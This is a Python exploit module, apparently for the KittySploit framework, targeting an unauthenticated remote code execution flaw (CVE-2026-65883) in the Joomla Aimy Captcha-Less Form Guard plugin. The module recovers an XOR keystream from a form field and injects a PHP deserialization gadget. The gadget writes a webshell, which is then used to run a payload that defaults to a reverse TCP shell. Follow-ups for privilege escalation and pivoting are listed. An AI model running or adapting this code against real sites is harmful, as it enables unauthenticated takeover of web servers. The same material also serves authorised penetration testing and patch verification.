Joomla Aimy Captcha-Less Form Guard RCE (CVE-2026-65883)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-65883 — Aimy Captcha-Less Form Guard unauthenticated RCE."""

from __future__ import annotations

import base64
import re
from typing import Dict, Optional
from urllib.parse import urljoin, urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import AIMY_PATCHED_VERSION, Joomla


class Module(Exploit, Http_client, Joomla):
    __info__ = {
        "name": "Joomla Aimy Captcha-Less Form Guard RCE (CVE-2026-65883)",
        "description": (
            "Unauthenticated RCE in Aimy Captcha-Less Form Guard 18.0–20.0: recover "
            "the XOR keystream from the clfgd field, inject a FormattedtextLogger "
            "gadget, write a PHP webshell, then execute the configured payload."
        ),
        "author": ["Valentin Lobstein", "VulnCheck", "shinthink", "KittySploit Team"],
        "cve": ["CVE-2026-65883"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-65883",
            "https://www.cve.org/CVERecord?id=CVE-2026-65883",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "tags": [
            "joomla",
            "aimy",
            "deserialization",
            "unserialize",
            "rce",
            "unauthenticated",
            "cve-2026-65883",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["joomla", "php"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"joomla": 0.3, "php": 0.3},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    form_path = OptString("", "Form path with clfgd (auto-detect if empty)", False)
    cmd_param = OptString("c", "Webshell GET/POST parameter", False)
    shell_name = OptString("", "Webshell filename (random if empty)", False, advanced=True)
    verify_cmd = OptString("id", "Command used to verify the uploaded shell", False)

    MARKER = "AIMY-SHELL"

    def _headers(self) -> Dict[str, str]:
        return {"User-Agent": str(self.user_agent or "KittySploit")}

    @staticmethod
    def _php_str(value: str) -> str:
        return f's:{len(value)}:"{value}";'

    @classmethod
    def _php_obj(cls, name: str, props: dict) -> str:
        body = "".join(f's:{len(key)}:"{key}";{val}' for key, val in props.items())
        return f'O:{len(name)}:"{name}":{len(props)}:{{{body}}}'

    @classmethod
    def _php_arr(cls, items: dict) -> str:
        parts = [f"a:{len(items)}:{{"]
        for key, value in items.items():
            if isinstance(key, int):
                parts.append(f"i:{key};")
            else:
                key_text = str(key)
                parts.append(f's:{len(key_text)}:"{key_text}";')
            parts.append(value)
        parts.append("}")
        return "".join(parts)

    def _gadget(self, shell_name: str, cmd_param: str) -> str:
        php = (
            f'message <?php echo "{self.MARKER}";'
            f'if(isset($_REQUEST["{cmd_param}"])){{'
            f'@system($_REQUEST["{cmd_param}"]);'
            f"}} ?>"
        )
        logger = self._php_obj(
            "Joomla\\CMS\\Log\\Logger\\FormattedtextLogger",
            {
                "text_file": self._php_str(shell_name),
                "text_file_path": self._php_str(""),
                "text_file_no_php": "b:1;",
                "format": self._php_str("{MESSAGE}"),
                "fields": self._php_arr({1: self._php_str("MESSAGE")}),
                "time": self._php_str("format"),
                "date": self._php_str("Y-m-d H:i"),
                "log_priorities": self._php_arr({1: self._php_str("EMERGENCY")}),
                "translations": "b:0;",
                "deferred": "b:0;",
            },
        )
        return self._php_obj(
            "Joomla\\Registry\\Registry",
            {
                "data": self._php_obj(
                    "stdClass",
                    {"loggers": self._php_arr({"aimy": self._php_arr({0: logger})})},
                )
            },
        )

    @staticmethod
    def _encrypt(plain: str, keystream: bytes) -> str:
        encrypted = bytes(
            ord(char) ^ keystream[index % len(keystream)]
            for index, char in enumerate(plain)
        )
        return base64.b64encode(encrypted).decode()

    @staticmethod
    def _align(gadget: str, keystream: bytes) -> str:
        length = len(keystream)
        padding = "X" * length
        return (
            f'O:8:"stdClass":2:{{s:1:"P";s:{length}:"{padding}";s:1:"G";{gadget}}}'
        )

    def _resolve_shell_name(self) -> str:
        shell = str(self.shell_name or "").strip()
        if not shell:
            shell = f"{self.random_stem('sh', 6)}.php"
        elif not shell.endswith(".php"):
            shell += ".php"
        return shell

    def _resolve_post_path(self, form_path: str, html: str) -> str:
        action = re.search(r'action="([^"]+)"', html)
        if not action:
            return form_path
        raw = action.group(1).strip()
        if raw.startswith("http"):
            parsed = urlparse(raw)
            return f"{parsed.path}?{parsed.query}" if parsed.query else (parsed.path or "/")
        if raw.startswith("/"):
            return raw
        return urljoin(form_path, raw)

    def _build_post_data(self, html: str, clfgd_value: str) -> Dict[str, str]:
        data = {"clfgd": clfgd_value}
        trap = re.search(
            r'<input[^>]*name="([^"]+)"[^>]*/>\s*<input[^>]*name="clfgd"', html, re.I
        )
        if trap:
            data[trap.group(1)] = ""
        captcha = re.search(r'name=["\'](jform_captcha)["\']', html)
        if captcha:
            data[captcha.group(1)] = ""
        token = self.extract_csrf_token(html)
        if token:
            data[token] = "1"
        return data

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        return str(payload or "").strip()

    def check(self):
        found = self.aimy_find_form(str(self.form_path or ""), timeout=int(self.timeout or 15))
        if not found:
            aimy = self.probe_aimy()
            if aimy.get("found"):
                version = aimy.get("version") or ""
                if version and self.aimy_is_patched(version):
                    return {
                        "vulnerable": False,
                        "reason": f"Aimy {version} >= {AIMY_PATCHED_VERSION} (patched)",
                        "confidence": "high",
                    }
                return {
                    "vulnerable": True,
                    "reason": (
                        f"Aimy detected ({aimy.get('evidence')}) but no clfgd form "
                        f"(version {version or 'unknown'})"
                    ),
                    "confidence": "low",
                }
            return {
                "vulnerable": False,
                "reason": "Aimy clfgd field not found",
                "confidence": "medium",
            }

        html = found["html"]
        clfgd = found["clfgd"]
        version = found.get("version") or ""
        path = found["path"]

        if not self.aimy_recover_keystream(html, clfgd):
            return {
                "vulnerable": False,
                "reason": "clfgd present but keystream recovery failed",
                "confidence": "medium",
            }

        vuln = self.aimy_version_vulnerable(version)
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"Aimy {version} >= {AIMY_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        confidence = "high" if vuln is True else "medium"
        reason = (
            f"Aimy clfgd on {path} (version {version or 'unknown'}) — "
            f"likely CVE-2026-65883 if < {AIMY_PATCHED_VERSION}"
        )
        return {"vulnerable": True, "reason": reason, "confidence": confidence}

    def _verify_shell(self, shell_path: str, cmd_param: str) -> Optional[str]:
        verify_cmd = str(self.verify_cmd or "id").strip() or "id"
        response = self.http_request(
            method="GET",
            path=shell_path,
            params={cmd_param: verify_cmd},
            headers=self._headers(),
            allow_redirects=True,
            timeout=int(self.timeout or 15),
        )
        if not response or int(response.status_code or 0) != 200:
            return None
        body = response.text or ""
        if self.MARKER not in body:
            return None
        return body.strip()

    def _execute_payload(self, shell_path: str, cmd_param: str) -> bool:
        command = self._payload_command()
        if not command:
            print_error("No payload/command configured")
            return False
        response = self.http_request(
            method="GET",
            path=shell_path,
            params={cmd_param: command},
            headers=self._headers(),
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) == 200)

    def run(self):
        try:
            print_status("CVE-2026-65883 — Joomla Aimy Captcha-Less Form Guard RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            found = self.aimy_find_form(str(self.form_path or ""), timeout=int(self.timeout or 15))
            if not found:
                print_error("No clfgd form found — set form_path if needed")
                return False

            form_path = found["path"]
            html = found["html"]
            clfgd_b64 = found["clfgd"]
            print_status(f"Using form {form_path}")

            keystream = self.aimy_recover_keystream(html, clfgd_b64)
            if not keystream:
                print_error("Keystream recovery failed")
                return False

            cmd_param = str(self.cmd_param or "c").strip() or "c"
            shell_name = self._resolve_shell_name()
            shell_path = f"/{shell_name.lstrip('/')}"
            gadget = self._gadget(shell_name, cmd_param)
            clfgd_value = self._encrypt(self._align(gadget, keystream), keystream)
            post_path = self._resolve_post_path(form_path, html)
            post_data = self._build_post_data(html, clfgd_value)

            print_status(f"POST {post_path} → {shell_name}")
            response = self.http_request(
                method="POST",
                path=post_path,
                headers=self._headers(),
                data=post_data,
                allow_redirects=False,
                timeout=int(self.timeout or 20),
            )
            if response is not None:
                print_info(f"Injection response: HTTP {response.status_code}")

            output = self._verify_shell(shell_path, cmd_param)
            if not output:
                print_error("Webshell not confirmed")
                return False

            print_success(f"Shell uploaded: {shell_path}")
            print_info(output[:300])

            if self._payload_command():
                print_status("Executing payload via uploaded shell...")
                if self._execute_payload(shell_path, cmd_param):
                    print_success("Payload delivered — verify listener/session")
                    self.vulnerable()
                    return True
                print_warning(
                    f"Shell reachable at {shell_path} but payload delivery did not return HTTP 200"
                )
                self.vulnerable()
                return False

            print_success("Shell verified (no payload command configured)")
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False